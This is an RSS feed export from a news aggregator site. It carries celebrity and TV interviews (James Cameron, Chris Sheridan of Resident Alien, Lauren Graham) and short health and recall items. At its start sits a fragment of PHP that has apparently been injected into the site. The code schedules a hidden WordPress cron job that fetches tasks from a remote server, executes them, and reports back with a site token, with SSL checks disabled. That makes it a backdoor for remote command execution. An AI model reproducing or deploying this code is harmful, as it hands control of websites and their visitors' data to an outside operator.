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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Possible – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 24 Sep 2022 20:29:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Possible – Brief News https://briefnews.eu 32 32 Sitting down too long raises risk of dying by 19 percent – study finds 14 possible causes https://briefnews.eu/sitting-down-too-long-raises-risk-of-dying-by-19-percent-study-finds-14-possible-causes/ https://briefnews.eu/sitting-down-too-long-raises-risk-of-dying-by-19-percent-study-finds-14-possible-causes/#respond Sat, 24 Sep 2022 20:29:45 +0000 https://briefnews.eu/sitting-down-too-long-raises-risk-of-dying-by-19-percent-study-finds-14-possible-causes/

Heart disease, Alzheimer’s disease, and stroke are more likely when you sit down for hours per day.

]]> https://briefnews.eu/sitting-down-too-long-raises-risk-of-dying-by-19-percent-study-finds-14-possible-causes/feed/ 0 James Cameron on pushing the boundaries of what’s possible in Avatar and Super/Natural https://briefnews.eu/james-cameron-on-pushing-the-boundaries-of-whats-possible-in-avatar-and-super-natural/ https://briefnews.eu/james-cameron-on-pushing-the-boundaries-of-whats-possible-in-avatar-and-super-natural/#respond Wed, 21 Sep 2022 00:43:20 +0000 https://briefnews.eu/james-cameron-on-pushing-the-boundaries-of-whats-possible-in-avatar-and-super-natural/ James Cameron is on a mission to push beyond what’s possible. The Academy Award-winning filmmaker quickly became a visionary for his early work in The Terminator franchise and Aliens. Titanic went from a film plagued with production problems to 11 Oscar wins and the first film to reach the $ 1 billion mark. Cameron’s Avatar dazzled the world with its use of 3D technology on its way to becoming the highest-grossing film of all time, a title it still holds today.

Despite becoming one of the most important filmmakers of the last 40 years, Cameron is an explorer at heart, and his fascination with the Earth is on display in the new National Geographic series, Super/Natural. Executive produced by Cameron, Super/Natural takes viewers into the minds of the world’s extraordinary creatures. Thanks to scientific and technological advancements, the series displays some of the most fascinating imagery ever recorded.

An eagle catches a fish in a scene from Super/Natural.
An African fish eagle catches a fish. (National Geographic for Disney+/Joe Hope)

Digital Trends participated in a roundtable discussion with Cameron about the upcoming series. He spoke about discovering new science for Super/Natural, designing new creatures for Avatar, and the excitement behind looking for new ideas.

Note: This interview has been condensed and edited for length and clarity. 

Digital Trends: You’ve mentioned when humans get older, they are further removed from nature. With Avatar, you’re bringing people back to a state of childlike wonder with what we see onscreen. In Super/Natural, people are in awe thanks to these jaw-dropping visuals. How were you able to recapture that childlike wonder in Super/Natural?

James Cameron: Super/Natural, for us as the creators of the show, was all about attitude. We wanted to have a style. We wanted to have a subjectivity to it. We wanted to take you into the minds and behind the eyes of these animals and see how they view life. The extraordinary senses that they bring to bear and the strategies that they use. They’re not as intelligent as us, but they’ve had millions of years, in some cases, to develop these incredible strategies, these alliances, these ways of behaving. A lot of this is new science.

Collectively – National Geographic; my company, Earthship; and the lead production house, Plimsoll, in the U.K. – we looked for intriguing new results that had come from scientific investigation. There are obviously thousands of scientists out there all over the world looking into the nooks and crannies of nature to understand these strategies. So we look for exciting new ideas.

A blue alien rides a flying dragon in Avatar 2.

With Avatar, if I created a creature with my designers for Avatar and I said it could see infrared or it could process the world five times faster than we can or it can emit or reflect ultraviolet so they can see each other flying around in the forest at night, you wouldn’t blink an eye. But when you think, “Oh, that’s a squirrel,” or “That’s a lizard,” something that we think of as familiar, all of a sudden, we’re seeing it in a completely different light, literally and figuratively. And I think that’s exciting.

It’s also about this less reverential style. This isn’t a stodgy, sort of classic natural history series with the narrator droning on. We’ve got Benedict Cumberbatch. He doesn’t just narrate it; he acts it. He gets you inside what’s happening in a way that I think is very relatable.

Super/Natural streams September 21 on Disney+. Avatar will re-release in theaters on September 23.

]]> https://briefnews.eu/james-cameron-on-pushing-the-boundaries-of-whats-possible-in-avatar-and-super-natural/feed/ 0 Omicron BA.4.6: The possible symptoms to spot as new Covid variant spreads in the UK https://briefnews.eu/omicron-ba-4-6-the-possible-symptoms-to-spot-as-new-covid-variant-spreads-in-the-uk/ https://briefnews.eu/omicron-ba-4-6-the-possible-symptoms-to-spot-as-new-covid-variant-spreads-in-the-uk/#respond Wed, 14 Sep 2022 18:42:06 +0000 https://briefnews.eu/omicron-ba-4-6-the-possible-symptoms-to-spot-as-new-covid-variant-spreads-in-the-uk/

THE PANDEMIC continues as the UK heads into autumn. In recent weeks a new variant of the virus has emerged: Omicron BA.4.6. Here’s what you need to know.

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Alex Engler never expected his Brookings article about the EU’s attempt to regulate open-source AI to stir up Twitter debate. Read More

]]> https://briefnews.eu/eu-ai-acts-possible-open-source-regulation-sparks-twitter-debate/feed/ 0 Enoki mushrooms recalled due to possible Listeria contamination https://briefnews.eu/enoki-mushrooms-recalled-due-to-possible-listeria-contamination/ https://briefnews.eu/enoki-mushrooms-recalled-due-to-possible-listeria-contamination/#respond Sun, 04 Sep 2022 04:11:08 +0000 https://briefnews.eu/enoki-mushrooms-recalled-due-to-possible-listeria-contamination/ Enoki mushroom recall

The Canadian Food Inspection Agency has issued a recall for Enoki mushrooms distributed by WK Produce due to a possible Listeria contamination.

]]> https://briefnews.eu/enoki-mushrooms-recalled-due-to-possible-listeria-contamination/feed/ 0 Resident Alien Boss Talks Harry’s Heartfelt Season Finale Decision, Teases Possible Season 2 Storylines https://briefnews.eu/resident-alien-boss-talks-harrys-heartfelt-season-finale-decision-teases-possible-season-2-storylines/ https://briefnews.eu/resident-alien-boss-talks-harrys-heartfelt-season-finale-decision-teases-possible-season-2-storylines/#respond Thu, 01 Apr 2021 03:29:13 +0000 https://briefnews.eu/resident-alien-boss-talks-harrys-heartfelt-season-finale-decision-teases-possible-season-2-storylines/

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Is Patience, Colo. finally rid of its lanky E.T.? Fat chance.

In Wednesday’s season finale of Resident Alien, Harry was forced to finally decide whether to carry out his initial plan of destroying mankind. With his device intact and ready to annihilate, Harry’s blips of humanity tugged at his heartstrings, and thanks in part to a plea from Asta, Harry opted to leave Earth just as he found it. But after blasting off into space, he discovered little Max tucked away in his spaceship cabin. Looks like Harry just booked a flight back to Colorado, after all.

Below, TVLine talks to Resident Alien creator/EP Chris Sheridan about that heartfelt finale, including Harry and Asta’s friendship, the “broken and struggling” D’Arcy, and of course, his hopes and ideas for Season 2.

TVLINE | First of all, congratulations on the Season 2 renewal!
CHRIS SHERIDAN | Thank you! I knew the show was doing well, but it’s always nice to get confirmation. The cast was beyond thrilled to find out it was coming back.

TVLINE | In the finale, Asta convinces Harry to not use the device, using their friendship and connection as her argument. Is Harry afraid of using it because he knows it could kill him, too? Or was it really just Asta’s plea that swayed him?
SHERIDAN | I think it’s love for Asta. At the very end, he has a plan. He could do it and survive. His plan is to get up in the ship, drop [the device] and take off. He’ll be fine and everyone will be wiped out. There’s a friendship love story between Asta and Harry [about] two people who, through getting to know each other and slowly gaining trust with one another, are able to bring their walls down a little bit. For the first time in Episode 10, he starts to realize what love is all about, and these feelings, this closeness he has towards Asta as a friend, are starting to creep into him. He’s going through all of the emotions we go through when someone we care about rejects us. I think he feels close enough to Asta at the end that he would still love to kill everybody. But if it means killing her, then he just can’t bring himself to do it.

TVLINE | I might be a total pessimist here, but if I was trying to convince an alien to not kill mankind, I would probably tell it exactly what I think it wants to hear. Is Asta really OK with everything that’s transpired, or is she still secretly conflicted about Harry?
SHERIDAN | That’s very astute. I think you’re exactly right. I think it’s both. Look, I think she cares about him. In the moment, yeah, this guy killed this [then]-innocent guy Harry Vanderspeigel, and that’s horrible. She’s getting drawn into this alien that looks human and maybe is human, and realizes, “Oh no, this is a monster. What am I doing? I can’t be friends with this person.” There is part of her that sees that he’s changed, but she’s also very well aware that she’s got to stop him from doing this. I don’t think she’s being manipulative. I think there is honesty in what she says to him, but at the same time, she is doing everything she can to keep him from killing everybody. I would put it at 60/40 — because I’m less of a pessimist than you, Nick — that she does truly believe he can change and is a different person than he was when he first got here.

Resident Alien Season 1 FinaleTVLINE | I can get behind those odds! We also learned that the real Harry killed Sam Hodges. Come Season 2, will that information come to light? And will we find out a motive?
SHERIDAN | It’s a good question. When I first set out to adapt this book into a TV show, my concept was to have two different stories going through the series. One is the alien storyline of Harry coming down to kill everybody and slowly becoming human. But I also wanted a town story going through this world as well, where even if there was no alien, you’d want to watch the show anyway [for] the three-dimensional characters, and Asta and D’Arcy’s relationship, and Asta’s bad marriage with Jimmy, and the baby. To me, the town story in the first season was, “Who killed Sam Hodges?” And I always thought that, in the second season, the town story would be: “Why?” What we will discover in the second season is what was going on with the real Harry Vanderspeigel. Why did he leave New York? What was the relationship between the real Harry and people in town, and what led him to kill Sam.

TVLINE | Poor D’Arcy seems so lost in the finale. What’s in store for her next season?
SHERIDAN | I’m actually going to spend some time talking to Alice Wetterlund about the character. We spent some time last season talking about this wonderful, broken human being that Alice plays so incredibly well. D’Arcy’s a small-town hero who went and made something of herself at the Olympics, and was revered by everybody. But what is it like to be that person and flame out— only to end up back where you started? I think D’Arcy is at this turning point in her life where she feels she could’ve been something and could’ve been happy if things went a certain way, but things didn’t go that way and she’s sort of given up. She has to figure out what her life is and what her true happiness is. As she says to Ben, she just wants to matter, like we all do. She wants to be important and when she finally leaves this earth, she wants to leave having done something.

Resident Alien FinaleTVLINE | “True strength comes from choosing not to kill. Maybe being truly human is about choosing to love instead.” That line is so poignant for today. Would you say that’s the series’ primary theme?
SHERIDAN | All the messages I wanted to put out there revolve around the thought of love and acceptance and connection… taking care of each other and not fighting each other. Harry came down to this planet with a concept in his head of what he thought he knew about humans — and to be honest, it’s what a lot of us think about each other. It’s this pessimistic view [of] me or them. It wasn’t until Harry got here and made these friendships where he started the journey into realizing that there’s more to humans, and when humans work together there’s nothing they can’t do.

TVLINE | Wrapping up, are there any other teases you can share about next season? Please tell me you’ve figured out another way to have Corey Reynolds sing again?
SHERIDAN | [Laughs] Oh, he’s amazing. He’s a Broadway singer. He’s incredible. My fear was that he was going to be too good of a singer for a small-town sheriff, but I would like to explore his singing some more. A sheriff that sings like that, there’s a backstory there somewhere. Maybe that was his passion growing up and he didn’t do it because his dad and his grandfather were cops? We’re going to get into Mike’s backstory more. What was really the reason he brought his dad to Colorado? There’s something that happened to him in D.C. as a cop that made him run. Everyone in Patience is running from something. I want to explore that a bit more and make his character a little more three dimensional, where he’s not just searching for the murderer.

I’d also love to be able to have Terry O’Quinn back. Maybe that storyline’s not done. He’s searching for something and it’s possible the only one who has the answers is Harry Vanderspeigle. I’m just at the beginning stages now of trying to figure out the next season. I have some cool ideas, so I’m excited to get into it.

What did you think of the Resident Alien finale? Grade the episode and season below, then sound off in the Comments!

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]]> https://briefnews.eu/resident-alien-boss-talks-harrys-heartfelt-season-finale-decision-teases-possible-season-2-storylines/feed/ 0 The Mighty Ducks’ Lauren Graham Reveals Her Big Problem With Sports, Teases Possible New Collaboration With Amy Sherman-Palladino https://briefnews.eu/the-mighty-ducks-lauren-graham-reveals-her-big-problem-with-sports-teases-possible-new-collaboration-with-amy-sherman-palladino/ https://briefnews.eu/the-mighty-ducks-lauren-graham-reveals-her-big-problem-with-sports-teases-possible-new-collaboration-with-amy-sherman-palladino/#respond Mon, 22 Mar 2021 14:25:47 +0000 https://briefnews.eu/the-mighty-ducks-lauren-graham-reveals-her-big-problem-with-sports-teases-possible-new-collaboration-with-amy-sherman-palladino/

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Lauren Graham‘s year-plus stint on Zoey’s Extraordinary Playlist came in very handy while shooting the pilot for The Mighty Ducks: Game Changers. In the closing moments of the Disney+ sequel series (premiering Friday), Graham’s unlikely hockey coach performs an impromptu ice dance that was as (intentionally) awkward as it was charming. It was also almost entirely self-choreographed.

“I had to learn a lot of choreography in a very short time on Zoey’s Playlist, so any kind of physical lack of confidence I had… that switch was already flipped,” Graham explains to TVLine. “So I just made it up. I tried to approach the number with a sense of fun and freedom… and a lot of upper body.” While noting with a laugh that “the feet aren’t entirely mine” — a stunt double supplied the fancy footwork — the action above the waist was all her.

Read on as Graham delves further into her Mighty Ducks experience, while also teasing a handful of projects in the pipeline (including, potentially, one with Gilmore Girls creator Amy Sherman-Palladino).

TVLINE | How much ice skating experience did you have coming into this?
My training was eighth grade birthday parties in Arlington, Virginia. [Laughs] I did a fair amount of skating as a Mighty Duckskid, just for fun. That’s part of what was appealing to me about this show— can I learn this new skill? There was a built in break between the first and second episodes, but that’s when [COVID] happened. And that break was supposed to be my intense skating boot camp, which I was really looking forward to. And then everything closed. So I wasn’t as good as I wanted to be. If we come back [for Season 2] I plan to improve.

TVLINE | What about hockey — were you a fan?
I was interested more in The Mighty Ducks [franchise than hockey itself]. And I like sports in general. I live with [boyfriend and former Parenthood co-star Peter Krause], who is a Minnesotan [so I have a real link and love for Minnesota [sports]. I’m in a fantasy football league, Michael. This is what’s happened to me.

TVLINE | What?
I know. This is all because of Peter. But the problem I always have with sports is someone loses, and that’s really upsetting to me. Even if it’s [the “other” team that loses], I just find it really harrowing.

TVLINE | You clearly ignored the old Hollywood mantra about never working with kids and animals. Any trepidation about joining a show where the majority of the cast members are… 
Thirteen year-olds? [Laughs] No. I’ve worked with a lot of kids in my time. I have developed lifelong friendships with many of them. It was a little bit jarring to walk into the [first] table read. I was like, “Wow, everyone’s 13-years-old.” One of the things I have evolved into [when choosing roles] is thinking more about the big picture. It’s not just the part — it’s what is the endeavor. I was drawn to Disney+ as an entity. I was drawn to [only doing] 10 episodes [per season]. I was drawn to being a producer — and being tapped to direct if there’s a second season. It ticked a lot of boxes. And being a person who is sensitive to reboots, I’m hoping the audience will feel seen and respected.

TVLINE | What was your dynamic with your younger co-stars like?
I hit the jackpot because the kid I worked with most is [my onscreen son] Brady [Noon], who’s really funny and really sweet and smart. One day while we were shooting the first episode he was like, “Hey. I looked you up. People really like you. And they like the stuff you’ve done!” And I was like, “Did you think I was just some lady off the street?” And he said, “Kind of.” [Laughs] And then he gave me the highest compliment I have ever received in my entire career. He said, “I have worked with Sarah Silverman and you are the two funniest people I know.” I was like, “You’re wrong… but thank you.”

TVLINE | Mighty Ducks, like Zoey’s Playlist, shoots in Vancouver. But because of the pandemic, I’m assuming you couldn’t fly home to L.A. on weekends. Was this the longest period of time you had to be away from home for work?
[Sighs] Yes.

TVLINE | How was it?
It was terrible. [Laughs] I was [in Vancouver] from August 1 to December 15. Thank God [Zoey’s Playlist star] Jane [Levy] was down the street. And my friend Sam [Pancake] was there off and on. There’s a lot of production [in Vancouver] so I’d run into people I sort of know. But if I was ever feeling sorry for myself, I [reminded myself how] lucky I was that they continued [shooting Mighty Ducks during the pandemic] — and that I have any job at all.

TVLINE | Any collaborations with Amy coming up? She’s said she wants to find a role for you on The Marvelous Mrs. Maisel…
I don’t know about Maisel. I sort of wonder if it would take you out of [that world] to have me there. I leave that up to her. But we talk all the time. I was texting her yesterday. I think we’ll find something to work together on. I’m writing quite a bit. I feel like the more experience I have as a writer that that might be something we do [together], although it chills me to think about writing something with or for Amy. But she’s been an accidental — and now intentional — mentor in my writing, and I just think we have similar taste and vibe.

TVLINE | Any more books planned?
I’m working on another book of essays [tentatively] called Have I Told You This Already?, which is a companion piece to my first book of essays [Talking as Fast as I Can], but the subtitle is, “Stories I Don’t Want to Forget to Remember.” It’s about [pre- and] post-Gilmore life. You’ll be excited to hear I’m working on an essay right now called, “Boobs of the 90s,” which is about the year I moved to L.A. from New York. Having [touched on] the bigger events and Gilmore-related stuff in the first book, I’m now thinking in slightly deeper way about how I got started and what it’s like to work at this age and at this time.

TVLINE | Were you able to squeeze in another Season 2 Zoey’s cameo while you were in Vancouver?
No. Someone on my team [at Mighty Ducks] tested positive [for COVID in the fall] so I had to quarantine again in the middle of production. And it just [wiped out] all of my days off, [including all of] my skate-training days; any flexibility there was [in my schedule] was gone. I hope to come back, because I really enjoyed that show and I love Jane. I think there’s hope.

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]]> https://briefnews.eu/the-mighty-ducks-lauren-graham-reveals-her-big-problem-with-sports-teases-possible-new-collaboration-with-amy-sherman-palladino/feed/ 0 Riverdale: F.P. and Hermione to exit season 4 ALIVE as producer confirms possible return https://briefnews.eu/riverdale-f-p-and-hermione-to-exit-season-4-alive-as-producer-confirms-possible-return/ https://briefnews.eu/riverdale-f-p-and-hermione-to-exit-season-4-alive-as-producer-confirms-possible-return/#respond Mon, 25 May 2020 01:40:09 +0000 https://briefnews.eu/riverdale-f-p-and-hermione-to-exit-season-4-alive-as-producer-confirms-possible-return/

Moreover, their roles in season four have been considerably lessened, with some fans speculating the two parents will be killed off by the season four premiere to finalise their exit from the show.

F.P. star Skeet Ulrich confirmed chances of his return after season five were slim when he revealed his honest thoughts about the direction of his character.

Speaking to fans during an Instagram Live session, Skeet said: “I’m leaving Riverdale because I got bored creatively.”

However, a TVLine interview with executive producer for the series, Roberto Aguirre-Sacasa, confirmed the latest episode, Killing Mr Honey, wouldn’t be the last fans saw of F.P. and Hermione.

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]]> https://briefnews.eu/riverdale-f-p-and-hermione-to-exit-season-4-alive-as-producer-confirms-possible-return/feed/ 0 The Mandalorian Unveils Astonishingly Lifelike ‘Baby Yoda’ Toy: Watch Him Use The Force in the Cutest Way Possible https://briefnews.eu/the-mandalorian-unveils-astonishingly-lifelike-baby-yoda-toy-watch-him-use-the-force-in-the-cutest-way-possible/ https://briefnews.eu/the-mandalorian-unveils-astonishingly-lifelike-baby-yoda-toy-watch-him-use-the-force-in-the-cutest-way-possible/#respond Thu, 20 Feb 2020 20:42:42 +0000 https://briefnews.eu/the-mandalorian-unveils-astonishingly-lifelike-baby-yoda-toy-watch-him-use-the-force-in-the-cutest-way-possible/

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Disney has found an adorable new way to part Mandalorian fans from their hard-earned Beskar steel.

The House of Mouse on Thursday unveiled an animatronic version of The Child, known colloquially as “Baby Yoda.” The toy, now available for pre-order, retails for $ 59.99 — just shy of the real deal’s reported $ 5 million price tag.

Per the little guy’s official description: “Touching the top of The Child’s head activates over 25 sound and motion combinations, including happy and excited sounds, giggles, babbles, and more, all while the toy’s head moves up and down, ears move back and forth, and eyes open and close. Boys and girls can pretend to harness the power of The Force as The Child toy closes its eyes, raises its arm, and sighs as if exerting a great amount of energy. Lay The Child toy down and it will close its eyes and take a ‘Force nap.’”

TVLine was on hand at the New York City event to see The Child in action. Press PLAY on the video below to watch the little guy blink, make noise and use The Force:

Other products featured at the event included plush toys, Star Wars-themed Build-a-Bear stuffed animals, Funko collectibles and a Razor Crest Lego construction set featuring a minifigure of The Child.

In a statement, series creator Jon Favreau commented on fans’ frustration at not being able to purchase Mandalorian loot when the Star Wars offshoot show premiered in November 2019 — or for the holiday season that followed.

“Holding back on product development gave everyone the chance to discover the character affectionately known to fans as ‘Baby Yoda’ together. This is something special in the age of spoilers,” he said. “I am so appreciative of the partnership with the teams at Lucasfilm and Disney who are translating these characters into products for fans to enjoy.”

The Mandalorian will return to Disney+ for Season 2 in October. In the meantime, check out the full photo of the animatronic version of The Child below (click on image to see it in detail), scroll down to see video of even more Star Wars and Mandalorian-related goodies, then hit the comments with your thoughts!

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]]> https://briefnews.eu/the-mandalorian-unveils-astonishingly-lifelike-baby-yoda-toy-watch-him-use-the-force-in-the-cutest-way-possible/feed/ 0 Empire Boss Eyeing Jussie Smollett for Possible Finale Comeback: ‘It Would Be Weird to End the Show Without Him’ https://briefnews.eu/empire-boss-eyeing-jussie-smollett-for-possible-finale-comeback-it-would-be-weird-to-end-the-show-without-him/ https://briefnews.eu/empire-boss-eyeing-jussie-smollett-for-possible-finale-comeback-it-would-be-weird-to-end-the-show-without-him/#respond Tue, 17 Dec 2019 23:55:25 +0000 http://briefnews.eu/empire-boss-eyeing-jussie-smollett-for-possible-finale-comeback-it-would-be-weird-to-end-the-show-without-him/

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Empire may be getting the band back together for one final encore.

Showrunner Brett Mahoney tells TVLine that discussions are underway to possibly have embattled former cast member Jussie Smollett return as Jamal before the show wraps its six-season run this spring.

“It would be weird in my mind to end this family show and this family drama of which he was such a significant part of without seeing him,” offers Mahoney, before adding, “It’s fair to say it’s being discussed, but there’s no plan as of yet to bring him back. There’s been no decision made.”

The fact that Empire is even mulling a Smollett comeback represents a bit of a turnaround from last June when series creator Lee Daniels slammed the door shut on the possibility, maintaining via Twitter, “Jussie will NOT be returning to Empire.”

Smollett, who had played Lucious’ musician son Jamal since Empire debuted in 2015, was written out of the final episodes of Season 5 following a headline-grabbing brush with the law. The actor claimed he was beaten up by two men who hurled racist and homophobic slurs at him, and then was accused of fabricating the attack and charged with making a false police report.

The charges were later dropped, but the scandal seemed to end Smollett’s run on Empire. When the show was renewed for sixth and final season last May, the network extended his contract but said there were “no plans” to bring him back. (Smollett’s final Empire episode saw Jamal get married to Kai; the show established early on in Season 6 that the newlyweds are now living full-time in London.)

Empire‘s fall finale airs tonight at 9/8c on Fox.

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